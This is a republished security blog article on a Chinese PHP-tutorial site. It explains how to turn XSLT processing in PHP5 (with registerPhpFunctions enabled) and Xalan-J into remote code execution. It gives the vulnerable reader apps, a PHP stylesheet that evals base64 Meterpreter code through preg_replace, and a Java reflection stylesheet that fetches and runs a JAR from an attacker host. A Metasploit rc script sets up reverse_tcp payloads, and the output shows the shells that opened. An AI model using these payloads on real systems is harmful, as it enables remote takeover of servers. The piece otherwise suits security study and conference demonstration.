来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] This article will describe how to execute high-level code during the processing of a XSL transform, with the goal of obtaining some Meterpreter shells. It applies to any......
This article will describe how to execute high-level code during the processing of a XSL transform, with the goal of obtaining some Meterpreter shells. It applies to any XSLT engine capable of executing high-level code, even if the published code focus on PHP5 (in a non default configuration) and Xalan-J.
Two minimalist applications processing arbitrary XML documents and XSLT stylesheets are used as the targets. Functionally, these applications are minimalist online readers for ATOM feeds. They were used during my HackInTheBox and HackInParis talks and are now publically available. The PHP code: 1 <?php 2 3 // Page header 4 echo "<html><head>\n"; 5 echo "<title>ATOM reader (PHP + XSLT)</title>\n"; 6 echo "<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'/>\n"; 7 echo "<head><body>\n"; 8 echo "This ATOM reader is coded in PHP5+XSLT, using libxslt.<br/>\n"; 9 10 // Get parameters 11 $url = $_GET['url']; 12 $xsl = $_GET['xsl']; 13 14 // Load ATOM file 15 $xmldoc = new DOMDocument(); 16 $xmldoc->load( $url ); 17 18 // Load XSLT file 19 $xsldoc = new DOMDocument(); 20 $xsldoc->load( $xsl ); 21 22 // Register PHP functions as XSLT extensions 23 $xslt = new XSLTProcessor(); 24 $xslt->registerPhpFunctions(); 25 26 // Import the stylesheet 27 $xslt->importStylesheet( $xsldoc ); 28 29 // Transform and print 30 print $xslt->transformToXML( $xmldoc ); 31 32 ?> You may notice on line 24 a call to XSLTProcessor::registerPhpFunctions(). This is the non default setting that we will exploit. From the documentation: "PHP 5 >= 5.0.4 / Enables the ability to use PHP functions as XSLT functions". The Java code: 1 <%@ page language="java" contentType="text/html" %> 2 <%@ page import="javax.xml.transform.*"%> 3 <%@ page import="javax.xml.transform.stream.*"%> 4 <% 5 6 // Echo some info 7 out.print("This ATOM reader is coded in JSP+XSLT, using Tomcat and Xalan-J<br/>"); 8 9 // Get the parameters 10 String xmlFile = request.getParameter("url"); 11 String xslFile = request.getParameter("xsl"); 12 13 // Create a XSLT transformer 14 TransformerFactory tFactory = TransformerFactory.newInstance(); 15 16 // Configure the XSLT stylesheet 17 Transformer transformer = tFactory.newTransformer(new StreamSource(xslFile)); 18 19 // Transform the XML file 20 transformer.transform(new StreamSource(xmlFile), new StreamResult(out)); 21 %> In both applications, the "xml" parameter contains the URL of a ATOM feed (for example http://www.us-cert.gov/channels/current.atom). The "xsl" parameter contains the URL of the XSL style sheet we want to apply to the XML document. The following one displays some basic information about the feed and its entries: 1 <xsl:stylesheet version="1.0" 2 xmlns:atom="http://www.w3.org/2005/Atom" 3 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 4 5 <!-- The "feed" tag --> 6 <xsl:template match="/atom:feed"> 7 <h1><xsl:value-of select="atom:title"/><br/></h1> 8 <xsl:apply-templates select="atom:entry"/> 9 </xsl:template> 10 11 <!-- The "entry" tags --> 12 <xsl:template match="atom:entry"> 13 <hr/>Entry #<xsl:value-of select="position()"/> 14 [<xsl:value-of select="string-length(atom:title)"/>] : 15 <pre><xsl:value-of select="atom:title"/></pre> 16 </xsl:template> 17 18 </xsl:stylesheet> Here's a screenshot of the output (using the US-CERT feed): OK, everything is now in order. Let's try to execute some more interesting XSLT code, for example in order to identify the underlying XSLT engine: 1 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 2 <xsl:output method="html"/> 3 <xsl:template match="/"> 4 <h2>Detecting the underlying XSLT engine ...</h2> 5 <b>Version:</b> <xsl:value-of select="system-property('xsl:version')" /><br/> 6 <b>Vendor:</b> <xsl:value-of select="system-property('xsl:vendor')" /><br/> 7 <b>Vendor URL:</b> <xsl:value-of select="system-property('xsl:vendor-url')" /><br/> 8 </xsl:template> 9 </xsl:stylesheet> The output under PHP5: The output under Tomcat+Xalan-J: Now, some basic high-level code displaying the current date. For this, we need to use the right namespace. For PHP, it's "http://php.net/xsl" and for Xalan-J, it's "http://xml.apache.org/xalan/java/java.*". In PHP: 1 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0"> 2 <xsl:template match="/"> 3 <xsl:text>Current date: </xsl:text><xsl:value-of select="abc:function('date', 'F j, Y')"/> 4 </xsl:template> 5 </xsl:stylesheet> In Java: 1 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:date="http://xml.apache.org/xalan/java/java.util.Date" version="1.0"> 2 <xsl:template match="/"> 3 <xsl:variable name="dateObject" select="date:new()"/> 4 <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/> 5 </xsl:template> 6 </xsl:stylesheet> In order to execute arbitrary PHP code, we can try to use eval(), include() or require(). But they aren't PHP functions but constructs. Luckily, both preg_replace() and assert() are PHP functions and can be used to execute arbitrary PHP code. We now have everything needed to execute a PHP Meterpreter :-) 1 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0"> 2 <xsl:template match="/"> 3 <xsl:variable name="eval"> 4 eval(base64_decode('Base64-encoded Meterpreter code')) 5 </xsl:variable> 6 <xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/> 7 </xsl:template> 8 </xsl:stylesheet> We are done regarding PHP! We'll now look to Java, where it is much more complex to go from printing the current date to executing arbitrary classes. In fact, we'll need to use reflection in order to access enough interesting Java features to download a remote Meterpreter JAR file. There's three ways to use reflection. 1) Create your own Java code accessing the key Java features (and keep this code portable across versions). That's too hard for me! 2) Use Javapayload to dynamically construct the Java code. The problem is that Metasploit doesn't include a very recent version of Javapayload. But that's fine if you're doing everything by hand 3) Use a well tested and static Java template having all the needed features and re-use it. In the current scenario, we'll take the third option (thanks @mihi42) in order to integrate nicely with Metasploit. The result XSL style sheet is complex, but works perfectly: 1 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:j="http://xml.apache.org/xalan/java" exclude-result-prefixes="j"& gt; 2 <xsl:template match="/"> 3 <xsl:variable name="url">http://attacker/eviljava/wkaLrNQj.jar</xsl:variable> 4 <xsl:variable name="arrays">rO0ABXVyAA9bTGphdmEubmV0LlVSTDtSUf0kxRtozQIAAHhwAAAAAXB1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAAA</xsl:va riable> 5 <xsl:variable name="ois" select="j:java.io.ObjectInputStream.new(j:java.io.ByteArrayInputStream.new(j:decodeBuffer(j:sun.misc.BASE64Decoder.new(),$arr ays)))" /> 6 <xsl:variable name="n" select="j:get(j:java.util.HashMap.new(),'')"/> 7 <xsl:variable name="c1" select="j:getInterfaces(j:java.lang.Class.forName('java.lang.Number'))"/> 8 <xsl:variable name="c2" select="j:getInterfaces(j:java.lang.Class.forName('java.io.File'))"/> 9 <xsl:variable name="l" select="j:java.util.ArrayList.new()"/> 10 <xsl:variable name="urlarray" select="j:readObject($ois)"/> 11 <xsl:value-of select="j:java.lang.reflect.Array.set($urlarray,0,j:java.net.URL.new($url))"/> 12 <xsl:value-of select="substring(j:add($l,$urlarray),5)"/> 13 <xsl:value-of select="j:java.lang.reflect.Array.set($c1,0,j:java.lang.Class.forName('[Ljava.net.URL;'))"/> 14 <xsl:variable name="r" select="j:newInstance(j:getConstructor(j:java.lang.Class.forName('java.net.URLClassLoader'),$c1),j:toArray($l))"/> 15 <xsl:value-of select="j:clear($l)"/> 16 <xsl:value-of select="substring(j:add($l,'metasploit.Payload'),5)"/> 17 <xsl:value-of select="j:java.lang.reflect.Array.set($c1,0,j:java.lang.Class.forName('java.lang.String'))"/> 18 <xsl:variable name="z" select="j:invoke(j:getMethod(j:java.lang.Class.forName('java.lang.ClassLoader'),'loadClass',$c1),$r,j:toArray($l))"/> 19 <xsl:value-of select="j:java.lang.reflect.Array.set($c1,0,j:java.lang.Class.forName('[Ljava.lang.String;'))"/> 20 <xsl:value-of select="j:java.lang.reflect.Array.set($c2,0,j:java.lang.Class.forName('java.lang.String'))"/> 21 <xsl:value-of select="j:java.lang.reflect.Array.set($c2,1,j:java.lang.Class.forName('[Ljava.lang.Class;'))"/> 22 <xsl:value-of select="j:clear($l)"/> 23 <xsl:value-of select="substring(j:add($l,'main'),5)"/> 24 <xsl:value-of select="substring(j:add($l,$c1),5)"/> 25 <xsl:variable name="v" select="j:invoke(j:getMethod(j:java.lang.Class.forName('java.lang.Class'),'getMethod',$c2),$z,j:toArray($l))"/> 26 <xsl:value-of select="j:java.lang.reflect.Array.set($c2,0,j:java.lang.Class.forName('java.lang.Object'))"/> 27 <xsl:value-of select="j:java.lang.reflect.Array.set($c2,1,j:java.lang.Class.forName('[Ljava.lang.Object;'))"/> 28 <xsl:value-of select="j:clear($l)"/> 29 <xsl:value-of select="substring(j:add($l,j:readObject($ois)),5)"/> 30 <xsl:value-of select="j:close($ois)" /> 31 <xsl:value-of select="substring(j:set($l,0,j:toArray($l)),1,0)"/> 32 <xsl:value-of select="j:add($l,0,$n)"/> 33 <xsl:value-of select="j:invoke(j:getMethod(j:java.lang.Class.forName('java.lang.reflect.Method'),'invoke',$c2),$v,j:toArray($l))"/> 34 <result>Test Complete!</result> 35 </xsl:template> 36 </xsl:stylesheet> If we put all this logic in a dedicated Metasploit module, we end up with "generic_xslt_payloads.rb". This module is not available in trunk for the moment but you can download it from ticket #6784. Copy it to "modules/exploits/multi/misc/" and configure it using the following rc script: # Load the module www.2cto.com use exploit/multi/misc/generic_xslt_payloads # Configure and start the PHP version set TARGET 0 set URIPATH evilphp.xsl set PAYLOAD php/meterpreter/reverse_tcp set SRVHOST 192.168.2.218 set SRVPORT 5001 set LHOST 192.168.2.218 set LPORT 4001 exploit -j # Configure and start the Java version set TARGET 1 set URIPATH eviljava set PAYLOAD java/meterpreter/reverse_tcp set SRVHOST 192.168.2.218 set SRVPORT 5002 set LHOST 192.168.2.218 set LPORT 4002 exploit -j You should get two jobs running: msf exploit(generic_xslt_payloads) > jobs -l -v Jobs ==== Id Name Payload LPORT URIPATH Start Time -- ---- ------- ----- ------- ---------- 0 Exploit: multi/misc/generic_xslt_payloads php/meterpreter/reverse_tcp 4001 /evilphp.xsl Mon Jul 02 18:45:39 +0200 2012 1 Exploit: multi/misc/generic_xslt_payloads java/meterpreter/reverse_tcp 4002 /eviljava Mon Jul 02 18:45:39 +0200 2012 Then provide the link to the corresponding XSLT code to the vulnerable applications, and voilà ! msf exploit(generic_xslt_payloads) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter java/java SYSTEM @ box08 192.168.2.218:4002 -> 192.168.2.108:1707 (192.168.2.108) 2 meterpreter php/php www-data (33) @ box13 192.168.2.218:4001 -> 192.168.2.113:43398 (192.168.2.113) 0wn3d ! It should be noted that 1) porting the Java version from Xalan-J to Saxon should be trivial 2) some client-side softwares like XMLSpy allow to execute Java code from XSLT. The Metasploit module was demonstrated during the HackInTheBox conference in Amsterdam, and the video is available on Youtube (this demo starts at minute 48). 转自:http://www.agarri.fr/kom/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com